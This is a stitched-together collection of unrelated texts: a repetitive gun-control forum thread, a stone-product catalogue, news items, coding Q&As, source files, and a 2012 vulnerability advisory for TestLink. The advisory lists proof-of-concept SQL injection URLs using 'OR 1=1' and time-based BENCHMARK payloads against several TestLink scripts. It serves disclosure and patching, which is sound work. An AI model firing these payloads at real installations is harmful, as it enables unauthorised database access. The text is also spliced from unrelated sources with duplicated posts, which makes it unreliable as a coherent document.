But most people will find killing a person much harder with a knife than with a gun, both for physical reasons AND for psychological reasons. And, as AM pointed out, the only purpose of guns is to kill and maim, while knives are actually useful for many things, such as cooking and woodworking. Completely banning guns would have little negative effects on the society, while banning knives would stop many industries and activities. Equating the two in this respect is a lame argument, not what AM wrote.

More rhetoric from those who do not understand that guns are a tool only. In a country of 315 million people, the odds that you will need to protect yourself are much greater than in a country less populated than New York City.

I worked in a maximum security state prison as a Corrections Officer for 16 years in Maryland. People will kill by any means necessary.

I worked in a maximum security state prison as a Corrections Officer for 16 years in Maryland. People will kill by any means necessary.

Well lets just kill those people then cause obviously banning guns doesn't work and they WILL kill so there isn't much we can do about it.

mjollnir wrote:

WE the people are the well regulated militia. The framers believed that the last check and balance to the government, as well as to fight invasion or insurgency, was to keep the people armed.

Man that shit was like 300 years ago. It doesn't apply today. Hand guns and assault rifles aren't going to really stop the US Army from just obliterating everyone. You would have to be a moron to say that is a reason to keep our guns.

WE the people are the well regulated militia. The framers believed that the last check and balance to the government, as well as to fight invasion or insurgency, was to keep the people armed.

Man that shit was like 300 years ago. It doesn't apply today. Hand guns and assault rifles aren't going to really stop the US Army from just obliterating everyone. You would have to be a moron to say that is a reason to keep our guns.

One thing I saw recently was that the Second Amendment wasn't designed to protect the people from the government like most libertarian dreamers tend to believe, but actually the other way around, that it was written to protect the government from the people. The details escape me, but a few aspects I recall was that the government had the will to take away guns from the civilians if they were to become too rowdy and that the government were more afraid of a civilian uprising rather than foreign insurgence, thus leading them to write the Second Amendment into the constitution.

No ban on guns will keep criminals from getting and using guns....since they usually use illegally acquired weapons anyway.

This is an ideological mantra that people keep repeating, with no real basis on any real, credible argument. I wrote earlier on this thread that a change would take a decade or two, but certainly a decision and laws meant to reduce the numbers of guns would have an effect in the longer run. It's just a matter of choice and politics.

Simply trying to take away guns won't work to change the culture of violence in this country. American gun culture is a result of a violent society with an obsession in wielding power. Our drug laws are incredibly ineffective and despite massive, heavily-armed enforcement efforts, we have a drug trade that handles $300-400b per year. Our response is called the "war on drugs". We have massive income disparity, by far the worst in the first world, and low income areas are opportune places for low-level organized crime to take hold. These areas have poor education (since our quality of education is mosly based on local property taxes), disenfranchisement from the political/social system in many ways (incredibly understaffed voting stations so people need to take a full day to vote, while it takes me 5 mins in suburbia), high levels of political corruption and police abuse, and a lot of other things that help perpetuate the scary inner city criminal culture and a perception of it. We have a "war on poverty" too. Our ongoing response to terrorism is the "war on terror". Cultural problems of separation and fear are countered with wielding power and creating divides. People don't cling to their guns for no reason, they cling to their guns because we have mismanaged all of these problems for decades and there is enough of a threat to syndicate in media that people have something to be afraid of. Much like the motive for violence needs to be addressed, the fears that drive our gun culture need to be fixed for society in general to consider disarming.

One thing I saw recently was that the Second Amendment wasn't designed to protect the people from the government like most libertarian dreamers tend to believe, but actually the other way around, that it was written to protect the government from the people. The details escape me, but a few aspects I recall was that the government had the will to take away guns from the civilians if they were to become too rowdy and that the government were more afraid of a civilian uprising rather than foreign insurgence, thus leading them to write the Second Amendment into the constitution.

These were some thoughts during the ratification process of the Constitution of the United States....

Noah Webster: "Before a standing army can rule the people must be disarmed; as they are in almost every kingdom in Europe. The supreme power in America cannot enforce unjust laws by the sword; because the whole body of the people are armed, and constitute a force superior to any band of regular troops that can be, on any pretence, raised in the United States."

George Mason: "...to disarm the people; that it was the best and most effectual way to enslave them . . . by totally disusing and neglecting the militia." ""Who are the militia? They consist now of the whole people, except a few public officers."

Patrick Henry: "Guard with jealous attention the public liberty. Suspect everyone who approaches that jewel. Unfortunately, nothing will preserve it but downright force. Whenever you give up that force, you are inevitably ruined."

At no time is this more needed than now in this so called "post 9/11 world" with our government giving themselves more power in the Patriot Act as well as warrantless wiretaps and the President authorizing the killing of American citizens abroad. Our framers were very much thinking about the people protecting themselves against tyranny.

At no time is this more needed than now in this so called "post 9/11 world" with our government giving themselves more power in the Patriot Act as well as warrantless wiretaps and the President authorizing the killing of American citizens abroad. Our framers were very much thinking about the people protecting themselves against tyranny.

So what has the militia done about it, exactly?

What did the brave militia do with their guns when George Bush pulled the Patriot Act out of his ass?

I'll tell you what most gun nuts did. They went and voted Republican again the next time. And then the next day they shot at a Budweiser can or a squirrel.

_________________

mjollnir wrote:

Noble Beast's debut album is way beyond MOST of what Priest did in the 80s.

What did the brave militia do with their guns when George Bush pulled the Patriot Act out of his ass?

I'll tell you what most gun nuts did. They went and voted Republican again the next time. And then the next day they shot at a Budweiser can or a squirrel.

Actually, the Republican neo-cons kept voting republican because they believe in the War on Terror. The tea party that was created by the libertarians who are against the Military Industrial Complex, wars of aggression, the Patriot Act, etc. was highjacked by the talk show hosts and Sarah Palin. The American sheeple will believe anything media (Fox News included) tells them.


Gold Sand Stone

Get Best Quote

Approx. Price: Rs 110 / Square FeetGet Latest Price

Product Details:

Thickness

Customize

Size

Customize

Usage

Countertops, Hardscaping, Flooring

Form

Tile, Cut-to-Size, Slab

These sand stones which we offer are widely demanded by our customers for their excellent texture and durability. We have an optimum range of all kind of Indian natural stones. We can produce sandstone in any size and finish.

RequestCallback

Yes! I am interested

Sandstone pillar

Get Best Quote

Approx. Price: Rs 2,000 / Cubic FeetGet Latest Price

RequestCallback

Additional Information:

Minimum Order Quantity: 50 Cubic Feet

Yes! I am interested

Stone Pedestal

Get Best Quote

Approx. Price: Rs 50,000 / PieceGet Latest Price

Product Details:

Minimum Order Quantity

2 Piece

Type

Outdoor

Color

Multicolor

Brand

Stone art hub

RequestCallback

Yes! I am interested

Block sandstone

Get Best Quote

Approx. Price: Rs 600 / Cubic FeetGet Latest Price

RequestCallback

Additional Information:

Minimum Order Quantity: 1000 Cubic Feet

Yes! I am interested

Marble Indian

Get Best Quote

Approx. Price: Rs 150 / Square FeetGet Latest Price

RequestCallback

Additional Information:

Minimum Order Quantity: 5000 Square Feet

Yes! I am interested

Fossil Circle Stone

Approx. Price: Rs 450 / Square FeetGet Latest Price

By our expertise, we offer qualitative range of Fossil Circle Stone in the market. The product is well manufactured by our adroit professionals by using rich production techniques. Available to our valued customers in various designs and thickness, these Fossil Circle Stones are a best compliment to add beauty to floors of interiors of our customer’s houses and places.

Features:

Elite

Compact designs

Easy available

RequestCallback

Get Best Quote

Yes! I am interested

Fossil Mint Sandstone

Approx. Price: Rs 45 / Square FeetGet Latest Price

Fossil Mint Sandstone offered comes in smooth finishing & stylish natural patterns and vibrant colors which make these highly desired and demanded for use in interior and exterior spaces. We can offer these stones available in different slab sizes and thicknesses as demanded by the customers. Some of its features include available in different surface polishing choices; providing for eye-catching looks; support enhancing beauty of the interior and exterior spaces; superior finish value; highly demanded & used in homes, offices and schools; provide for stylish appearance and excellent finish.


Transcript for Michael Cohen says Trump knew about meeting with Russians

I'm Pierre Thomas in Washington this warning war potential evidence of the growing divide between president trump and his former lawyer Michael Cohen. This morning low level sources telling ABC news echoing claims have been candidate Donald Trump. Was aware of the June 2016 trump tower meeting with the Russians before it happened. The president's legal team is calling Cohen a liar. Cause attorneys are declining comment but these allegations are at odds with repeating claims by the president and his son Donald Trump junior. This morning president trump is up and tweeting saying quote I did not know of the meeting with my son Don junior. Sounds to me like someone is trying to make up stories would get himself out of an unrelated jail. Pierre Thomas ABC news Washington.

This transcript has been automatically generated and may not be 100% accurate.


------------------
Information
------------------
Name: SQL Injection Vulnerabilities in TestLink
Software tested: TL v1.8.5b & checked in v1.9.3 (prior version may be
affected)
Vendor Homepage: http://www.teamst.org
Vendor Notification: 27 January 2012
Vendor Patch: 4 February 2012
Public Disclosure: 20 February 2012
CVE: CVE-2012-0938 & CVE-2012-0939
Solution Status: Fixed by Vendor

------------------
Description
------------------
TestLink is a web based test management and test execution system. It
enables quality assurance teams to create and manage their test cases as
well as to organize them into test plans. These test plans allow team
members to execute test cases and track test results dynamically.

TestLink is a GPL licensed open source project.

------------------
Details
------------------
CVE-2012-0938:
TestLink v1.8.5b & 1.9.3 are affected by some SQL Injection
vulnerabilities (other versions also maybe affected).
To successfully exploit these vulnerabilities, a remote attacker must
login with a valid user account. Some cases need a different role to be
exploited.
CVSS v2: 6.5
Vector: AV:N/AC:L/Au:S/C:P/I:P/A:P
Example PoC URLs are:

http://example.com/lib/ajax/getrequirementnodes.php?root_node=1 OR 1=1
http://example.com/lib/ajax/gettprojectnodes.php?root_node=4 OR 1=1
http://example.com/lib/cfields/cfieldsEdit.php?do_action=edit&cfield_id=1 AND
3653=BENCHMARK(5000000,MD5(1))
http://example.com/lib/plan/planMilestonesEdit.php?doAction=edit&id=7
AND 5912=BENCHMARK(5000000,MD5(1))
http://example.com/lib/plan/planMilestonesEdit.php?doAction=create&tplan_id=2623
AND 5912=BENCHMARK(5000000,MD5(1))
http://example.com/lib/requirements/reqEdit.php?doAction=create&req_spec_id=2622
AND 5912=BENCHMARK(5000000,MD5(1))
http://example.com/lib/requirements/reqImport.php?req_spec_id=2622 AND
5912=BENCHMARK(5000000,MD5(1))

CVE-2012-0939:
TestLink v1.8.5b is affected by some SQL Injection vulnerabilities
(other versions also maybe affected).
To successfully exploit these vulnerabilities, a remote attacker must
login with a valid user account. Some cases need a different role to be
exploited.
CVSS v2: 6.5
Vector: AV:N/AC:L/Au:S/C:P/I:P/A:P
Example PoC URLs are:

http://example.com/lib/requirements/reqSpecAnalyse.php?req_spec_id=2622
OR 1=1
http://example.com/lib/requirements/reqSpecPrint.php?req_spec_id=2622
AND 5912=BENCHMARK(5000000,MD5(1))
http://example.com/lib/requirements/reqSpecView.php?req_spec_id=2622 AND
5912=BENCHMARK(5000000,MD5(1))

------------------
Solution
------------------
The vendor fixed these vulnerabilities in a patch for version 1.9.3.
Please see the references.

------------------
References
------------------
Vendor URL / Patch : http://mantis.testlink.org/view.php?id=4906
CVE-2012-0938: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0938
CVE-2012-0939: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0939

------------------
Credits
------------------
Researcher: Juan M. Natal
Company: INTECO (http://www.inteco.es)
Contact: jnatal [at] cert [dot] inteco [dot] es

Thanks to: J. Valentin Gutierrez (@vnico) & Juan C. Montes (@jcmontes_tec)

------------------
Disclaimer
------------------
The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be
updated in order to provide as accurate information as possible.


package org.citra.citra_android.ui.main;

import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.Bundle;
import android.support.v17.leanback.app.BrowseFragment;
import android.support.v17.leanback.app.BrowseSupportFragment;
import android.support.v17.leanback.database.CursorMapper;
import android.support.v17.leanback.widget.ArrayObjectAdapter;
import android.support.v17.leanback.widget.CursorObjectAdapter;
import android.support.v17.leanback.widget.HeaderItem;
import android.support.v17.leanback.widget.ListRow;
import android.support.v17.leanback.widget.ListRowPresenter;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentManager;
import android.support.v4.content.ContextCompat;
import android.widget.Toast;

import org.citra.citra_android.R;
import org.citra.citra_android.activities.EmulationActivity;
import org.citra.citra_android.adapters.GameRowPresenter;
import org.citra.citra_android.adapters.SettingsRowPresenter;
import org.citra.citra_android.model.Game;
import org.citra.citra_android.model.TvSettingsItem;
import org.citra.citra_android.services.DirectoryInitializationService;
import org.citra.citra_android.ui.platform.Platform;
import org.citra.citra_android.ui.settings.SettingsActivity;
import org.citra.citra_android.utils.AddDirectoryHelper;
import org.citra.citra_android.utils.FileBrowserHelper;
import org.citra.citra_android.utils.PermissionsHandler;
import org.citra.citra_android.utils.StartupHandler;
import org.citra.citra_android.viewholders.TvGameViewHolder;

public final class TvMainActivity extends FragmentActivity implements MainView
{
  private MainPresenter mPresenter = new MainPresenter(this);

  private BrowseSupportFragment mBrowseFragment;

  private ArrayObjectAdapter mRowsAdapter;

  @Override
  protected void onCreate(Bundle savedInstanceState)
  {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_tv_main);

    setupUI();

    mPresenter.onCreate();

    // Stuff in this block only happens when this activity is newly created (i.e. not a rotation)
    if (savedInstanceState == null)
      StartupHandler.HandleInit(this);
  }

  @Override
  protected void onResume()
  {
    super.onResume();
    mPresenter.addDirIfNeeded(new AddDirectoryHelper(this));
  }

  void setupUI()
  {
    final FragmentManager fragmentManager = getSupportFragmentManager();
    mBrowseFragment = new BrowseSupportFragment();
    fragmentManager
            .beginTransaction()
            .add(R.id.content, mBrowseFragment, "BrowseFragment")
            .commit();

    // Set display parameters for the BrowseFragment
    mBrowseFragment.setHeadersState(BrowseFragment.HEADERS_ENABLED);
    mBrowseFragment.setBrandColor(ContextCompat.getColor(this, R.color.citra_orange_dark));
    buildRowsAdapter();

    mBrowseFragment.setOnItemViewClickedListener(
            (itemViewHolder, item, rowViewHolder, row) ->
            {
              // Special case: user clicked on a settings row item.
              if (item instanceof TvSettingsItem)
              {
                TvSettingsItem settingsItem = (TvSettingsItem) item;
                mPresenter.handleOptionSelection(settingsItem.getItemId());
              }
              else
              {
                TvGameViewHolder holder = (TvGameViewHolder) itemViewHolder;

                // Start the emulation activity and send the path of the clicked ISO to it.
                EmulationActivity.launch(TvMainActivity.this,
                        holder.path,
                        holder.title,
                        holder.screenshotPath,
                        -1,
                        holder.imageScreenshot);
              }
            });
  }

  /**
   * MainView
   */

  @Override
  public void setVersionString(String version)
  {
    mBrowseFragment.setTitle(version);
  }

  @Override
  public void refresh()
  {
    recreate();
  }

  @Override
  public void refreshFragmentScreenshot(int fragmentPosition)
  {
    mRowsAdapter.notifyArrayItemRangeChanged(0, mRowsAdapter.size());
  }

  @Override
  public void launchSettingsActivity(String menuTag)
  {
    SettingsActivity.launch(this, menuTag, "");
  }

  @Override
  public void launchFileListActivity()
  {
    FileBrowserHelper.openDirectoryPicker(this);
  }

  @Override
  public void showGames(Platform platform, Cursor games)
  {
    ListRow row = buildGamesRow(platform, games);

    // Add row to the adapter only if it is not empty.
    if (row != null)
    {
      mRowsAdapter.add(row);
    }
  }

  /**
   * Callback from AddDirectoryActivity. Applies any changes necessary to the GameGridActivity.
   *
   * @param requestCode An int describing whether the Activity that is returning did so successfully.
   * @param resultCode  An int describing what Activity is giving us this callback.
   * @param result      The information the returning Activity is providing us.
   */
  @Override
  protected void onActivityResult(int requestCode, int resultCode, Intent result)
  {
    switch (requestCode)
    {
      case MainPresenter.REQUEST_ADD_DIRECTORY:
        // If the user picked a file, as opposed to just backing out.
        if (resultCode == MainActivity.RESULT_OK)
        {
          mPresenter.onDirectorySelected(FileBrowserHelper.getSelectedDirectory(result));
        }
        break;

      case MainPresenter.REQUEST_EMULATE_GAME:
        mPresenter.refreshFragmentScreenshot(resultCode);
        break;
    }
  }

  @Override
  public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults)
  {
    switch (requestCode)
    {
      case PermissionsHandler.REQUEST_CODE_WRITE_PERMISSION:
        if (grantResults[0] == PackageManager.PERMISSION_GRANTED)
        {
          DirectoryInitializationService.startService(this);
          loadGames();
        }
        else
        {
          Toast.makeText(this, R.string.write_permission_needed, Toast.LENGTH_SHORT)
                  .show();
        }
        break;
      default:
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        break;
    }
  }

  private void buildRowsAdapter()
  {
    mRowsAdapter = new ArrayObjectAdapter(new ListRowPresenter());

    if (PermissionsHandler.hasWriteAccess(this))
    {
      loadGames();
    }

    mRowsAdapter.add(buildSettingsRow());

    mBrowseFragment.setAdapter(mRowsAdapter);
  }

  private void loadGames()
  {
    for (Platform platform : Platform.values())
    {
      mPresenter.loadGames(platform);
    }
  }

  private ListRow buildGamesRow(Platform platform, Cursor games)
  {
    // Create an adapter for this row.
    CursorObjectAdapter row = new CursorObjectAdapter(new GameRowPresenter());

    // If cursor is empty, don't return a Row.
    if (!games.moveToFirst())
    {
      return null;
    }

    row.changeCursor(games);
    row.setMapper(new CursorMapper()
    {
      @Override
      protected void bindColumns(Cursor cursor)
      {
        // No-op? Not sure what this does.
      }

      @Override
      protected Object bind(Cursor cursor)
      {
        return Game.fromCursor(cursor);
      }
    });

    String headerName = platform.getHeaderName();

    // Create a header for this row.
    HeaderItem header = new HeaderItem(platform.toInt(), platform.getHeaderName());

    // Create the row, passing it the filled adapter and the header, and give it to the master adapter.
    return new ListRow(header, row);
  }

  private ListRow buildSettingsRow()
  {
    ArrayObjectAdapter rowItems = new ArrayObjectAdapter(new SettingsRowPresenter());

    rowItems.add(new TvSettingsItem(R.id.menu_settings_core,
            R.drawable.ic_settings_core_tv,
            R.string.grid_menu_core_settings));

    rowItems.add(new TvSettingsItem(R.id.button_add_directory,
            R.drawable.ic_add_tv,
            R.string.add_directory_title));

    rowItems.add(new TvSettingsItem(R.id.menu_refresh,
            R.drawable.ic_refresh_tv,
            R.string.grid_menu_refresh));

    // Create a header for this row.
    HeaderItem header =
            new HeaderItem(R.string.preferences_settings, getString(R.string.preferences_settings));

    return new ListRow(header, rowItems);
  }
}


Photojournalist Boris Minkevich returned to the sky earlier this week (November 28th) to get a winter view of the city. The photos top this popular existing slideshow done in July 2012.


For an optimal navigation, the RFI website requires JavaScript to be enabled in your browser.
To take full advantage of multimedia content, you must have the Flash plugin installed in your browser.
To connect, you need to enable cookies in your browser settings.
For an optimal navigation, the RFI site is compatible with the following browsers: Internet Explorer 8 and above, Firefox 10 and +, Safari 3+, Chrome 17 and + etc.

French leaders react to Italian, Austria vote results

French President François Hollande declared his "respect" on Monday for Italian Prime Minister Matteo Renzi's decision to resign. Earlier he and Prime Minister Manuel Valls welcomed the defeat of the far-right candidate for Austria's presidency.

Hollande said he "notes with respect" Renzi's decision to quit after being defeated in a referendum on constitutional reform in a statement on Monday, going on to praise his "dyanmism and the qualities he put at the service of courageous reforms for his country".

Renzi was "committed to a strong French-Italian relationship" and wanted to "turn Europe to towards growth and employment", the French president said.

Far-right defeat in Austria welcomed

By contrast, Hollande was clearly happy about the victory of former Green Party leader Alexander Van der Bellen in Austria's presidential election.

"The Austrian people has made the choice of Europe and openness" in rejecting the Austrian Freedom Party's (FPÖ) Norbert Hofer, a presidential statement said.

Prime Minister Manuel Valls, who was expected to resign and declare his intention to stand in France's presidential election next year on Monday evening, hailed Van de Bellen's victory in tweet, saying it proved that "populism is not inevitable for Europe".


Q:

Automatically split KML into point, line and polygon SHPs?

I have a lot of KMLs that include points, lines and polygons together.
Is there a way to automatically parse them into separate shapefiles (one for point, one for line, one for polygon) in QGIS or ArcGIS?
Otherwise I have to go through and delete the other two for each file, which is time consuming.

A:

ogr2ogr will (sort of) do it.
Scroll down to "How do I translate a mixed geometry file to shapefile format?"
% ogr2ogr out_point.shp mixed.kml -where 'ogr_geometry = "POINT"'
% ogr2ogr out_line.shp mixed.kml -where 'ogr_geometry = "LINESTRING"'
% ogr2ogr out_poly.shp mixed.kml -where 'ogr_geometry = "POLYGON"'

ogr2ogr converting to shapefile - how to select feature types? covers it as well.
Remember you can install this on windows using OSGEO4W.


var xnandpsu__sinit_8c =
[
    [ "XNandPsu_LookupConfig", "xnandpsu__sinit_8c.html#ga4d6df6679bb2c84faa7bbec9f4e776ee", null ],
    [ "XNandPsu_ConfigTable", "xnandpsu__sinit_8c.html#ga3fcff3ef431cd8ee0f292f0703fe4157", null ]
];


Application-level gateway

Application-level gateway (also known as ALG, application layer gateway, application gateway, application proxy, or application-level proxy) is a security component that augments a firewall or NAT employed in a computer network. It allows customized NAT traversal filters to be plugged into the gateway to support address and port translation for certain application layer "control/data" protocols such as FTP, BitTorrent, SIP, RTSP, file transfer in IM applications, etc. In order for these protocols to work through NAT or a firewall, either the application has to know about an address/port number combination that allows incoming packets, or the NAT has to monitor the control traffic and open up port mappings (firewall pinhole) dynamically as required. Legitimate application data can thus be passed through the security checks of the firewall or NAT that would have otherwise restricted the traffic for not meeting its limited filter criteria.

Functions
An ALG may offer the following functions:

 allowing client applications to use dynamic ephemeral TCP/ UDP ports to communicate with the known ports used by the server applications, even though a firewall configuration may allow only a limited number of known ports. In the absence of an ALG, either the ports would get blocked or the network administrator would need to explicitly open up a large number of ports in the firewall — rendering the network vulnerable to attacks on those ports.
 converting the network layer address information found inside an application payload between the addresses acceptable by the hosts on either side of the firewall/NAT. This aspect introduces the term 'gateway' for an ALG.
 recognizing application-specific commands and offering granular security controls over them
 synchronizing between multiple streams/sessions of data between two hosts exchanging data. For example, an FTP application may use separate connections for passing control commands and for exchanging data between the client and a remote server. During large file transfers, the control connection may remain idle. An ALG can prevent the control connection getting timed out by network devices before the lengthy file transfer completes.

Deep packet inspection of all the packets handled by ALGs over a given network makes this functionality possible. An ALG understands the protocol used by the specific applications that it supports.

For instance, for Session Initiation Protocol (SIP) Back-to-Back User agent (B2BUA), an ALG can allow firewall traversal with SIP. If the firewall has its SIP traffic terminated on an ALG then the responsibility for permitting SIP sessions passes to the ALG instead of the firewall. An ALG can solve another major SIP headache: NAT traversal. Basically a NAT with a built-in ALG can rewrite information within the SIP messages and can hold address bindings until the session terminates. A SIP ALG will also handle SDP in the body of SIP messages (which is used ubiquitously in VoIP to set up media endpoints), since SDP also contains literal IP addresses and ports that must be translated.

An ALG is very similar to a proxy server, as it sits between the client and real server, facilitating the exchange. There seems to be an industry convention that an ALG does its job without the application being configured to use it, by intercepting the messages. A proxy, on the other hand, usually needs to be configured in the client application. The client is then explicitly aware of the proxy and connects to it, rather than the real server.

ALG service in Microsoft Windows

The Application Layer Gateway service in Microsoft Windows provides support for third-party plugins that allow network protocols to pass through the Windows Firewall and work behind it and Internet Connection Sharing. ALG plugins can open ports and change data that is embedded in packets, such as ports and IP addresses. Windows Server 2003 also includes an ALG FTP plugin. The ALG FTP plugin is designed to support active FTP sessions through the NAT engine in Windows. To do this, the ALG FTP plugin redirects all traffic that passes through the NAT and that is destined for port 21 (FTP control port) to a private listening port in the 3000–5000 range on the Microsoft loopback adapter. The ALG FTP plugin then monitors/updates traffic on the FTP control channel so that the FTP plugin can plumb port mappings through the NAT for the FTP data channels.

ALGs in Linux
The Linux kernel's Netfilter framework, which implements NAT in Linux, has features and modules for several NAT ALGs:
 Amanda protocol
 FTP
 IRC
 TFTP
 SIP

See also
 Session border controller

References

External links
 DNS Application Level Gateway (DNS_ALG)

Category:Computer network security
Category:Internet Protocol based network software
Application Layer Gateway


Q:

How can I adjust my code to make the objects start dropping at a certain speed and then increase that speed over time?

I'm making a game in LibGDX where the player dodges falling objects. At the moment, my code makes each object (in this case 'DROPS') fall at random speeds. I'm wondering if anyone can suggest how to amend this code to make all the objects start falling at the same speed and have this value increase over time. Here is my current code:
for (int i = 0; i < amount; i++) {
        float x = MathUtils.random(0, ManicMeltdowns.WIDTH - TextureManager.DROPS.getWidth());
        float y = MathUtils.random(ManicMeltdowns.HEIGHT, ManicMeltdowns.HEIGHT * 3);
        float speed = MathUtils.random(2, 5);
        addEntity(new Drops(new Vector2 (x, y), new Vector2(0, -speed)));
}

I assume you have to adjust 'float speed', but I'm not sure how.
Many thanks.
-Edit- Here is the drops class:
public class Drops extends Entity{

public Drops(Vector2 pos, Vector2 direction) {
    super(TextureManager.DROPS, pos, direction);

}

@Override
public void update() {
    pos.add(direction);

    if (pos.y <= -TextureManager.DROPS.getHeight()) {
        float x = MathUtils.random(0, ManicMeltdowns.WIDTH - TextureManager.DROPS.getWidth());
        pos.set(x, ManicMeltdowns.HEIGHT);
    }

}

}

And here is the entity class:
public abstract class Entity {

protected Texture texture;
protected Vector2 pos, direction;

public Entity(Texture texture, Vector2 pos, Vector2 direction) {
    this.texture = texture;
    this.pos = pos;
    this.direction = direction;
}

public abstract void update();

public void render(SpriteBatch sb) {
    sb.draw(texture,  pos.x,  pos.y);
}

public Vector2 getPosition() {
    return pos;
}

public Rectangle getBounds() {
    return new Rectangle(pos.x, pos.y, texture.getWidth(), texture.getHeight());
}

public void setDirection(float x, float y) {
    direction.set(x, y);
    direction.scl(Gdx.graphics.getDeltaTime());
}

}

A:

in drops.update:
@Override
public void update() {
    pos.add(direction);

    //add the speed difference for the next update
    direction.add(new Vector2(0, -acceleration));

    if (pos.y <= -TextureManager.DROPS.getHeight()) {
        float x = MathUtils.random(0, ManicMeltdowns.WIDTH - TextureManager.DROPS.getWidth());
        pos.set(x, ManicMeltdowns.HEIGHT);
    }

}

Then when creating just use a fixed speed.


Former Alabama Congressman and gubernatorial candidate --and former Obama campaign chair-- Artur Davis is no longer a Democrat. At his blog he explains why:

parties change. As I told a reporter last week, this is not Bill
Clinton’s Democratic Party (and he knows that even if he can’t say it).
If you have read this blog, and taken the time to look for a theme in
the thousands of words (or free opposition research) contained in it,
you see the imperfect musings of a voter who describes growth as a
deeper problem than exaggerated inequality; who wants to radically
reform the way we educate our children; who despises identity politics
and the practice of speaking for groups and not one national interest;
who knows that our current course on entitlements will eventually break
our solvency and cause us to break promises to our most vulnerable—that
is, if we don’t start the hard work of fixing it.
On the specifics, I have regularly criticized an agenda that would
punish businesses and job creators with more taxes just as they are
trying to thrive again. I have taken issue with an administration that
has lapsed into a bloc by bloc appeal to group grievances when the
country is already too fractured: frankly, the symbolism of Barack Obama
winning has not given us the substance of a united country. You have
also seen me write that faith institutions should not be compelled to
violate their teachings because faith is a freedom, too. You’ve read
that in my view, the law can’t continue to favor one race over another
in offering hard-earned slots in colleges: America has changed, and we
are now diverse enough that we don’t need to accommodate a racial spoils
system. And you know from these pages that I still think the way we
have gone about mending the flaws in our healthcare system is the wrong
way—it goes further than we need and costs more than we can bear.
Taken together, these are hardly the enthusiasms of a Democrat circa
2012, and they wouldn’t be defensible in a Democratic primary. But they
are the thoughts and values of ten years of learning, and seeing things I
once thought were true fall into disarray. So, if I were to leave the
sidelines, it would be as a member of the Republican Party that is
fighting the drift in this country in a way that comes closest to my way
of thinking: wearing a Democratic label no longer matches what I know
about my country and its possibilities.

Also defecting, over same-sex marriage: Jo Ann Nardelli, Democratic Committeewoman, founder of the Blair County Federation of Democratic Women,Vice
President of the PA State Women’s Caucus, etc.

She said it started a few weeks ago, ironically as she and her husband
were getting ready for Mass and watching Meet the Press when Joe Biden, a
Catholic, cited his support for gay marriage.
This shocked her. She said she'd always related to Biden. She said he
reminded her of her father. But this announcement shocked her. And then,
shortly after, President Obama announced that he'd "evolved" into
supporting gay "marriage."
And then as a Democratic committeewoman she received her agenda from
the party espousing the same position. "To stand up and agree and sign
off on this I couldn’t do it," she said.


#!/usr/bin/python -u
# -*- coding: ISO-8859-1 -*-
import sys
import libxml2

# Memory debug specific
libxml2.debugMemory(1)

ctxt = None

class callback:
    def __init__(self, startd, starte, ende, delta, endd):
        self.startd = startd
        self.starte = starte
        self.ende = ende
        self.endd = endd
        self.delta = delta
        self.count = 0

    def startDocument(self):
        global ctxt
        if ctxt.byteConsumed() != self.startd:
            print "document start at wrong index: %d expecting %d\n" % (
                  ctxt.byteConsumed(), self.startd)
            sys.exit(1)

    def endDocument(self):
        global ctxt
        expect = self.ende + self.delta * (self.count - 1) + self.endd
        if ctxt.byteConsumed() != expect:
            print "document end at wrong index: %d expecting %d\n" % (
                  ctxt.byteConsumed(), expect)
            sys.exit(1)

    def startElement(self, tag, attrs):
        global ctxt
        if tag == "bar1":
            expect = self.starte + self.delta * self.count
            if ctxt.byteConsumed() != expect:
                print "element start at wrong index: %d expecting %d\n" % (
                   ctxt.byteConsumed(), expect)
                sys.exit(1)

    def endElement(self, tag):
        global ctxt
        if tag == "bar1":
            expect = self.ende + self.delta * self.count
            if ctxt.byteConsumed() != expect:
                print "element end at wrong index: %d expecting %d\n" % (
                      ctxt.byteConsumed(), expect)
                sys.exit(1)
            self.count = self.count + 1

    def characters(self, data):
        pass

#
# First run a pure UTF-8 test
#
handler = callback(0, 13, 27, 198, 183)
ctxt = libxml2.createPushParser(handler, "<foo>\n", 6, "test.xml")
chunk = """  <bar1>chars1</bar1>
  <bar2>chars2</bar2>
  <bar3>chars3</bar3>
  <bar4>chars4</bar4>
  <bar5>chars5</bar5>
  <bar6><s6</bar6>
  <bar7>chars7</bar7>
  <bar8>&8</bar8>
  <bar9>chars9</bar9>
"""
i = 0
while i < 10000:
    ctxt.parseChunk(chunk, len(chunk), 0)
    i = i + 1
chunk = "</foo>"
ctxt.parseChunk(chunk, len(chunk), 1)
ctxt=None

#
# Then run a test relying on ISO-Latin-1
#
handler = callback(43, 57, 71, 198, 183)
chunk="""<?xml version="1.0" encoding="ISO-8859-1"?>
<foo>
"""
ctxt = libxml2.createPushParser(handler, chunk, len(chunk), "test.xml")
chunk = """  <bar1>chars1</bar1>
  <bar2>chars2</bar2>
  <bar3>chars3</bar3>
  <bar4>chàrs4</bar4>
  <bar5>chars5</bar5>
  <bar6><s6</bar6>
  <bar7>chars7</bar7>
  <bar8>&8</bar8>
  <bar9>très 9</bar9>
"""
i = 0
while i < 10000:
    ctxt.parseChunk(chunk, len(chunk), 0)
    i = i + 1
chunk = "</foo>"
ctxt.parseChunk(chunk, len(chunk), 1)
ctxt=None

# Memory debug specific
libxml2.cleanupParser()
if libxml2.debugMemory(1) == 0:
    print "OK"
else:
    print "Memory leak %d bytes" % (libxml2.debugMemory(1))
    libxml2.dumpMemory()


/*
*  Warewolf - Once bitten, there's no going back
*  Copyright 2019 by Warewolf Ltd <alpha@warewolf.io>
*  Licensed under GNU Affero General Public License 3.0 or later.
*  Some rights reserved.
*  Visit our website for more information <http://warewolf.io/>
*  AUTHORS <http://warewolf.io/authors.php> , CONTRIBUTORS <http://warewolf.io/contributors.php>
*  @license GNU Affero General Public License <http://www.gnu.org/licenses/agpl-3.0.html>
*/

using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using Dev2.Common.Interfaces.Infrastructure.Providers.Validation;
using Dev2.Runtime.Configuration.ViewModels.Base;

namespace Dev2.Activities.Designers2.Core
{
    public class ActivityDesignerButton : Button
    {
        public ActivityDesignerButton()
        {
            IsValid = true;
